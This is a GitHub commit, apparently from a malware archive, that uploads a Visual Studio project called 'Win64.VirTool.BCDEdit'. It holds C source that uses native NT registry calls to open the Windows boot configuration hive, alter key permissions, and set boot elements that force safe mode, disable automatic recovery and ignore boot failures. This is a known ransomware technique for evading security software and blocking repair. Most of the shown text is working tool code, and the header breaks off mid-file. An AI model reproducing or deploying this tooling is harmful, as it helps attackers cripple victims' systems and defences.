Add files via upload

This commit is contained in:
vxunderground 2021-09-08 09:02:32 -05:00 committed by GitHub
parent c1d3d83cd6
commit 6b5741ca4b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 1062 additions and 0 deletions

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31410.223
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win64.VirTool.BCDEdit", "Win64.VirTool.BCDEdit.vcxproj", "{D1412F61-E19B-4D53-94CA-BC381E47033A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.ActiveCfg = Debug|x64
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.Build.0 = Debug|x64
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.ActiveCfg = Debug|Win32
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.Build.0 = Debug|Win32
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.ActiveCfg = Release|x64
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.Build.0 = Release|x64
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.ActiveCfg = Release|Win32
{D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B5203926-E601-4923-A8DA-D4CBE2ADCE2F}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,150 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{d1412f61-e19b-4d53-94ca-bc381e47033a}</ProjectGuid>
<RootNamespace>Win64VirToolBCDEdit</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="bcdutil.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,19 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="bcdutil.h">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@ -0,0 +1,497 @@
/**
* @file bcdutil.c
* @author Paul L. (@am0nsec)
* @version 1.0
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
* @details
* @link https://github.com/am0nsec/vx
* @copyright This project has been released under the GNU Public License v3 license.
*/
#include "bcdutil.h"
#include <Ole2.h>
#include <aclapi.h>
_Use_decl_annotations_ NTSTATUS
BcdGetDefaultBootObject(
_Out_ PHKEY phWindowsBootMgrDefaultObj
) {
// 1. Open handle to HKLM
HKEY hLocalMachine = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
L"\\Registry\\Machine",
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE | KEY_CREATE_SUB_KEY),
NULL,
&hLocalMachine
));
// 2. Find the BCD sub key
HKEY hBCD = INVALID_HANDLE_VALUE;
LPWSTR wszBcdSubKeyFragment = NULL;
DWORD dwzBcdSubKeyFragment = 0x00;
EXIT_ON_ERROR(BcdpGetSubKeyByPattern(
&hLocalMachine,
L"BCD",
(CONST DWORD)0x03,
&wszBcdSubKeyFragment,
&dwzBcdSubKeyFragment
));
// 3. Open handle to the new BCD sub key
EXIT_ON_ERROR(BcdOpenKeyByName(
wszBcdSubKeyFragment,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hLocalMachine,
&hBCD
));
HeapFree(GetProcessHeap(), 0x00, wszBcdSubKeyFragment);
// 4. Open handle to the new Objects sub key
HKEY hBCDObjects = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
L"Objects",
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hBCD,
&hBCDObjects
));
// 5. Open handle to the Windows boot manager
HKEY hWindowsBootMgr = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
GUID_WINDOWS_BOOTMGR,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hBCDObjects,
&hWindowsBootMgr
));
// 6. Open handle tot the Elements of the Windows boot manager
HKEY hWindowsBootMgrElements = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
BCD_ELEMENTS,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hWindowsBootMgr,
&hWindowsBootMgrElements
));
// 7. Open an handle to the default object and get the value.
HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hWindowsBootMgrElements,
&hWindowsBootMgrDefaultObj
));
// 8. Open an handle to the default boot object
LPWSTR wszWindowsBootMgrDefaultObj = NULL;
DWORD dwWindowsBootMgrDefaultObj = 0x00;
EXIT_ON_ERROR(BcdpQueryValueByName(
L"Element",
&hWindowsBootMgrDefaultObj,
REG_SZ,
&wszWindowsBootMgrDefaultObj,
&dwWindowsBootMgrDefaultObj
));
// 9. Get the GUID of the default object
EXIT_ON_ERROR(BcdOpenKeyByName(
wszWindowsBootMgrDefaultObj,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hBCDObjects,
phWindowsBootMgrDefaultObj
));
HeapFree(GetProcessHeap(), 0x00, wszWindowsBootMgrDefaultObj);
// Cleanup and return
NtClose(hLocalMachine);
NtClose(hBCD);
NtClose(hBCDObjects);
NtClose(hWindowsBootMgr);
NtClose(hWindowsBootMgrElements);
NtClose(hWindowsBootMgrDefaultObj);
return STATUS_SUCCESS;
}
_Use_decl_annotations_ NTSTATUS
BcdModifyBootConfiguration(
_In_ CONST PHKEY phKey,
_In_ CONST LPWSTR wszKey,
_In_ LPVOID pData,
_In_ ULONG ulData
) {
if (phKey == NULL || wszKey == NULL || pData == NULL || ulData == 0x00)
return STATUS_UNSUCCESSFUL;
// 1. Check if key already exist otherwise create a new one
HKEY hObject = INVALID_HANDLE_VALUE;
NTSTATUS Status = BcdOpenKeyByName(
wszKey,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
phKey,
&hObject
);
if (Status == STATUS_OBJECT_NAME_NOT_FOUND) {
// 1.1. Change the DACL to have write permissions
RETURN_ON_ERROR(BcdpChangeObjectPermission(
phKey,
(KEY_CREATE_SUB_KEY | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
));
// 1.2. Create the key
RETURN_ON_ERROR(BcdpCreateKey(
wszKey,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE),
phKey,
&hObject
));
// 1.3. Revert the permissions
RETURN_ON_ERROR(BcdpChangeObjectPermission(
phKey,
(KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
));
}
// 2. Allow set Windows registry value to the newly created key and open new key
RETURN_ON_ERROR(BcdpChangeObjectPermission(
&hObject,
KEY_SET_VALUE | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
));
NtClose(hObject);
RETURN_ON_ERROR(BcdOpenKeyByName(
wszKey,
(KEY_SET_VALUE | READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
phKey,
&hObject
));
// 3. Set the value and change the DACLs to original value
RETURN_ON_ERROR(BcdpSetValue(
BCD_ELEMENT,
&hObject,
pData,
ulData
));
RETURN_ON_ERROR(BcdpChangeObjectPermission(
&hObject,
KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
));
// Cleanup and return
NtClose(hObject);
return STATUS_SUCCESS;
}
_Use_decl_annotations_ NTSTATUS
BcdAcquireSyncMutant(
_Out_ PHANDLE phHandle
) {
if (phHandle == NULL)
return STATUS_INVALID_PARAMETER;
UNICODE_STRING MutantName = { 0x00 };
RtlInitUnicodeString(&MutantName, L"\\KernelObjects\\BcdSyncMutant");
OBJECT_ATTRIBUTES MutantAttributes = { 0x00 };
InitializeObjectAttributes(
&MutantAttributes,
&MutantName,
OBJ_CASE_INSENSITIVE,
0x00,
0x00
);
return NtOpenMutant(phHandle, 0x100000, &MutantAttributes, FALSE);
}
_Use_decl_annotations_ NTSTATUS
BcdpGetSubKeyByPattern(
_In_ CONST PHKEY phKey,
_In_ CONST LPWSTR wszPattern,
_In_ CONST DWORD dwPatternLength,
_Out_ LPWSTR* wszSubKeyName,
_Out_ PDWORD pdwSubKeyNameLength
) {
if (phKey == NULL
|| wszPattern == NULL
|| pdwSubKeyNameLength == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise variables and heap memory
DWORD dwIndex = 0x00;
ULONG ulBuffer = 0x100;
PKEY_BASIC_INFORMATION BasicInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
// Parse each entry one by one
while (TRUE) {
ULONG ulReturned = 0x00;
Status = NtEnumerateKey(
*phKey,
dwIndex,
KeyBasicInformation,
(LPVOID)BasicInformation,
ulBuffer,
&ulReturned
);
// Key not found
if (Status == STATUS_NO_MORE_ENTRIES) {
Status = STATUS_UNSUCCESSFUL;
break;
}
// Buffer not large enough to get the basic information
else if (Status == STATUS_BUFFER_TOO_SMALL) {
HeapReAlloc(GetProcessHeap(), 0x00, (LPVOID)BasicInformation, ulReturned);
ulBuffer = ulReturned;
continue;
}
// Checking if it is pattern
if (_wcsnicmp(BasicInformation->Name, wszPattern, (SIZE_T)dwPatternLength) == 0x00) {
*pdwSubKeyNameLength = BasicInformation->NameLength;
*wszSubKeyName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BasicInformation->NameLength);
memcpy_s(
*wszSubKeyName,
BasicInformation->NameLength,
BasicInformation->Name,
BasicInformation->NameLength
);
Status = STATUS_SUCCESS;
break;
}
// Try next entry
RtlZeroMemory(BasicInformation, ulReturned);
dwIndex++;
}
// Cleanup and exit
HeapFree(GetProcessHeap(), 0x00, BasicInformation);
return Status;
}
_Use_decl_annotations_ NTSTATUS
BcdOpenKeyByName(
_In_ CONST LPWSTR wszKeyName,
_In_ ACCESS_MASK AccessMask,
_In_ PHANDLE phDirectory,
_Out_ PHKEY phKey
) {
if (wszKeyName == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszKeyName);
// Initialise the OBJECT_ATTRIBUTES
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
InitializeObjectAttributes(
&ObjectAttributes,
&ObjectName,
OBJ_CASE_INSENSITIVE,
0x00,
0x00
);
if (phDirectory != NULL)
ObjectAttributes.RootDirectory = *phDirectory;
// Try to open the key
*phKey = INVALID_HANDLE_VALUE;
Status = NtOpenKey(
phKey,
AccessMask,
&ObjectAttributes
);
return Status;
}
_Use_decl_annotations_ NTSTATUS
BcdpQueryValueByName(
_In_ CONST LPWSTR wszValueName,
_In_ PHKEY phKey,
_In_ DWORD dwType,
_Out_ LPVOID* ppData,
_Out_ DWORD* pdwData
) {
if (wszValueName == NULL
|| phKey == NULL
|| ppData == NULL
|| pdwData == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszValueName);
// Get buffer ready
ULONG ulReturned = 0x00;
ULONG ulBuffer = 0x100;
PKEY_VALUE_PARTIAL_INFORMATION Information = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
// Get the value
do {
Status = NtQueryValueKey(
*phKey,
&ObjectName,
KeyValuePartialInformation,
(LPVOID)Information,
ulBuffer,
&ulReturned
);
if (NT_SUCCESS(Status))
break;
ulBuffer += 0x100;
Information = HeapReAlloc(GetProcessHeap(), 0x00, Information, ulBuffer);
} while (Status == STATUS_BUFFER_TOO_SMALL);
// Check the data type
if (Information->Type != dwType) {
HeapFree(GetProcessHeap(), 0x00, Information);
return STATUS_UNSUCCESSFUL;
}
// Allocate memory and copy data
*ppData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Information->DataLength);
memmove_s(*ppData, Information->DataLength, Information->Data, Information->DataLength);
*pdwData = Information->DataLength;
// De-allocate memory and return
HeapFree(GetProcessHeap(), 0x00, Information);
return Status;
}
_Use_decl_annotations_
NTSTATUS BcdpCreateKey(
_In_ CONST LPWSTR wszKeyName,
_In_ ACCESS_MASK DesiredAccess,
_In_ PHANDLE phDirectory,
_Out_ PHANDLE phKey
) {
if (wszKeyName == NULL || phKey == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszKeyName);
// Initialise the OBJECT_ATTRIBUTES
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
InitializeObjectAttributes(
&ObjectAttributes,
&ObjectName,
OBJ_CASE_INSENSITIVE,
0x00,
0x00
);
if (phDirectory != NULL)
ObjectAttributes.RootDirectory = *phDirectory;
// Create the key
return NtCreateKey(
phKey,
DesiredAccess,
&ObjectAttributes,
0x00,
NULL,
REG_OPTION_NON_VOLATILE,
NULL
);
}
_Use_decl_annotations_
NTSTATUS BcdpSetValue(
_In_ CONST LPWSTR wszValue,
_In_ PHANDLE phKey,
_In_ PVOID pData,
_In_ ULONG ulData
) {
if (wszValue == NULL || phKey == NULL || pData == NULL || ulData == 0x00)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszValue);
Status = NtSetValueKey(
*phKey,
&ObjectName,
0x00,
REG_BINARY,
pData,
ulData
);
return Status;
}
_Use_decl_annotations_
NTSTATUS BcdpChangeObjectPermission(
_In_ CONST PHANDLE phKey,
_In_ DWORD dwPrivileges
) {
if (phKey == NULL)
return STATUS_UNSUCCESSFUL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Get the SID of the local Administrators group
PSID AdminSID = NULL;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&SIDAuthNT,
0x02,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&AdminSID
)) {
return STATUS_UNSUCCESSFUL;
}
// Get the current security descriptor of the Windows Registry key
PACL pOldDACL = NULL;
PACL pNewDACL = NULL;
PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
DWORD dwStatus = GetSecurityInfo(
*phKey,
SE_REGISTRY_KEY,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
&pOldDACL,
NULL,
&SecurityDescriptor
);
if (dwStatus != ERROR_SUCCESS)
return STATUS_UNSUCCESSFUL;
EXPLICIT_ACCESS ea = { 0x00 };
ea.grfAccessPermissions = dwPrivileges;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
ea.Trustee.ptstrName = (LPTSTR)AdminSID;
if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS)
return STATUS_UNSUCCESSFUL;
if (SetSecurityInfo(*phKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS)
return STATUS_UNSUCCESSFUL;
return STATUS_SUCCESS;
}

View File

@ -0,0 +1,298 @@
/**
* @file bcdutil.c
* @author Paul L. (@am0nsec)
* @version 1.0
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
* @details
* @link https://github.com/am0nsec/vx
* @copyright This project has been released under the GNU Public License v3 license.
*/
#ifndef __BCDUTIL_H_GUARD__
#define __BCDUTIL_H_GUARD__
#pragma comment(lib, "ntdll")
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
/**
* @brief GUID of the Windows Boot Manager Configuration within the Windows Registry: 9DEA862C-5CDD-4E70-ACC1-F32B344D4795
*/
static CONST GUID GUID_WINDOWS_BOOTMGR = { 0x9DEA862C, 0x5CDD, 0x4E70, {0xAC, 0xC1, 0xF3, 0x2B, 0x34, 0x4D, 0x47, 0x95} };
// Taken from https://www.geoffchappell.com/notes/windows/boot/bcd/elements.htm?tx=27
#define GUID_WINDOWS_BOOTMGR L"{9DEA862C-5CDD-4E70-ACC1-F32B344D4795}"
#define BCD_ELEMENTS L"Elements"
#define BCD_ELEMENT L"Element"
#define BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT L"23000003"
#define BCDE_OSLOADER_TYPE_SAFEBOOT L"25000080"
#define BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED L"16000009"
#define BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY L"250000E0"
#define STATUS_SUCCESS 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_INTERNAL_ERROR 0xC00000E5
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define STATUS_NO_MORE_ENTRIES 0x8000001A
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
#define RETURN_ON_ERROR(ex) \
if (!NT_SUCCESS(ex)) { return STATUS_UNSUCCESSFUL; }
#define EXIT_ON_ERROR(ex) \
if (!NT_SUCCESS(ex)) { return EXIT_FAILURE; }
#define EXIT_ON_ERROREX(ex, code) \
if (ex != code) { return EXIT_FAILURE; }
typedef enum _KEY_INFORMATION_CLASS {
KeyBasicInformation,
KeyNodeInformation,
KeyFullInformation,
KeyNameInformation,
KeyCachedInformation,
KeyFlagsInformation,
KeyVirtualizationInformation,
KeyHandleTagsInformation,
KeyTrustInformation,
KeyLayerInformation,
MaxKeyInfoClass
} KEY_INFORMATION_CLASS;
typedef enum _KEY_VALUE_INFORMATION_CLASS {
KeyValueBasicInformation,
KeyValueFullInformation,
KeyValuePartialInformation,
KeyValueFullInformationAlign64,
KeyValuePartialInformationAlign64,
KeyValueLayerInformation,
MaxKeyValueInfoClass
} KEY_VALUE_INFORMATION_CLASS;
typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION;
typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG DataLength;
UCHAR Data[1];
} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION;
typedef struct _SECURITY_DESCRIPTOREX {
UCHAR Revision;
UCHAR Sbz1;
WORD Control;
PVOID Owner;
PVOID Group;
PACL Sacl;
PACL Dacl;
} SECURITY_DESCRIPTOREX, * PSECURITY_DESCRIPTOREX;
extern NTSTATUS NtOpenKey(
_Out_ PHANDLE KeyHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes
);
extern NTSTATUS NtQueryValueKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING ValueName,
_In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
_Out_ PVOID KeyValueInformation,
_In_ ULONG Length,
_Out_ PULONG ResultLength
);
extern NTSTATUS NtCreateKey(
_Out_ PHANDLE KeyHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ ULONG TitleIndex,
_In_opt_ PUNICODE_STRING Class,
_In_ ULONG CreateOptions,
_Out_opt_ PULONG Disposition
);
extern NTSTATUS NtEnumerateKey(
_In_ HANDLE KeyHandle,
_In_ ULONG Index,
_In_ KEY_INFORMATION_CLASS KeyInformationClass,
_Out_ PVOID KeyInformation,
_In_ ULONG Length,
_Out_ PULONG ResultLength
);
extern NTSTATUS NtOpenMutant(
_Out_ PHANDLE MutantHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ BOOLEAN InitialOwner
);
extern NTSTATUS NtSetValueKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING ValueName,
_In_opt_ ULONG TitleIndex,
_In_ ULONG Type,
_In_ PVOID Data,
_In_ ULONG DataSize
);
/**
* @brief Get handle to the default Windows Boot Object.
* @param phWindowsBootMgrDefaultObj Pointer to an handle.
* @return Whether an handle has been successfully retrieved.
*/
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
BcdGetDefaultBootObject(
_Out_ PHKEY phWindowsBootMgrDefaultObj
);
/**
* @brief Modify boot configuration.
* @param phKey Pointer to an handle of the Windows default boot object.
* @param wszKey Name of the configuration to change.
* @param pData Pointer to the data of the value.
* @param ulData Size of the data for the value.
* @return Whether boot configuration has been modified.
*/
